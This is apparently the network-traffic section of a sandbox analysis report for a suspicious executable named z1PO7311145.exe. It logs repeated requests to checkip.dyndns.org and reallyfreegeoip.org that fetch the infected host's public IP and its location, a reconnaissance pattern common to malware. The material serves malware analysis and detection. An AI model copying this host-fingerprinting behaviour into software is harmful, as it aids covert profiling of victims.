Oct 7, 2024 15:32:10.419576883 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f68e09b5ca41aa72a69189561720b207 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 15:32:10.419810057 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f68e09b5ca41aa72a69189561720b207 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 15:32:10.420491934 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f68e09b5ca41aa72a69189561720b207 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 15:32:10.423350096 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 15:32:10.573785067 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:10 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 83edd1acd73ddfbb01d7e71313c0b0fe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 15:32:11.255348921 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 15:32:11.417453051 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 00c422b3e4ff372288802364fcc1a48f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:12.036933899 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 15:32:12.585233927 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5e6d0f1195edd27d2c18c5549e37bab0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49704	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:13.190700054 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 15:32:13.739020109 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bc7d8acfaad96689f92be576b2069d74 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49706	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:14.336594105 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 7, 2024 15:32:14.895538092 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c08aa67462b5f128f3d6b6c25e9dbe91 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49708	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:15.903928041 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 15:32:16.472619057 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3373d939d9eb039966a1ef7bc245cce7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49710	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:17.095774889 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 15:32:17.632886887 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 41bb95fd0065788b741ad2cf4b77b333 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49712	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:18.249037027 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 15:32:19.017308950 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: be4b9922eb63d0c2ab41089abfab3b32 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 7, 2024 15:32:19.018198013 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: be4b9922eb63d0c2ab41089abfab3b32 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49715	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:19.671669960 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 15:32:20.217713118 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: db3c6dc9927fdbe91f73b2b51ba446be Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:11 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 13:32:11 UTC	712	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64266 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uv%2Fzm%2FvsCPWZgml5MBW7k2XjelLgFJ6iXJU8UHIjribBc5yEyVlLOcf%2FqigxaCUePE6rwQza%2FhimG8T%2BX0eXC65slqwpSvpThrJApBmNgFaW%2F5QzKut7SSTwddnNbAsqNPSGldFh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee4179f90e7287-EWR alt-svc: h3=":443"; ma=86400
2024-10-07 13:32:11 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:11 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 13:32:12 UTC	680	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64266 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FWKifVSljXA8ns2kuuLVUvaU1uYm0P0jnuMmUOw0%2BK6N8U3%2BbZ7UUEnRWAQgUPa2WPm9nB0nQmHd4rJiZSDpSaW%2FJ5eDtTy%2FaOuobu5VMvFcvq3jRFSrjc7p6ssFDBYdZmkPgA0X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee417eb839c413-EWR
2024-10-07 13:32:12 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:13 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 13:32:13 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64268 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ipacYJd1X8pPIib1tlYXdCxAKVqP4M%2FGhkR%2FPXgybFyuvHeCAZ9Q4cNbUfKkvznbd%2F4sXQXRWRwS3wtKHq6INxRc52DF4jOESEbzkPuHvZGjXFUAqH9S1ebtt2RgNQvH%2FayVDwcT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee4185ffffc34e-EWR
2024-10-07 13:32:13 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49705	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:14 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 13:32:14 UTC	674	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64269 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rUt3Fai9%2BvCCh%2BxIJEZkRHeMnj9R0qxGzawi7XIT87P3jZE1t7tzgwphYvOb7fx771G5rlu8bLIY05zO0NZvlKi9fJDkwHliFgovSpfwTZlHeNwKXgbcvW3hJ6RGV6Hbl8K946Zd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee418d3e535e6d-EWR
2024-10-07 13:32:14 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49707	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:15 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 13:32:15 UTC	674	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64270 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y8ZlRodq43f0EneKnktrw0XV7Kwj0afnQgtGO7dmApTioERFA8i22zVbO4LY2I9DbhSk%2FMi2VKWlpcISBSYky54MErdP61Bd%2FF1A0u17ZjGOoRY9HANDMmI9ZoQlHKZU02eKCfkC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee41949b83199d-EWR
2024-10-07 13:32:15 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49709	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:16 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
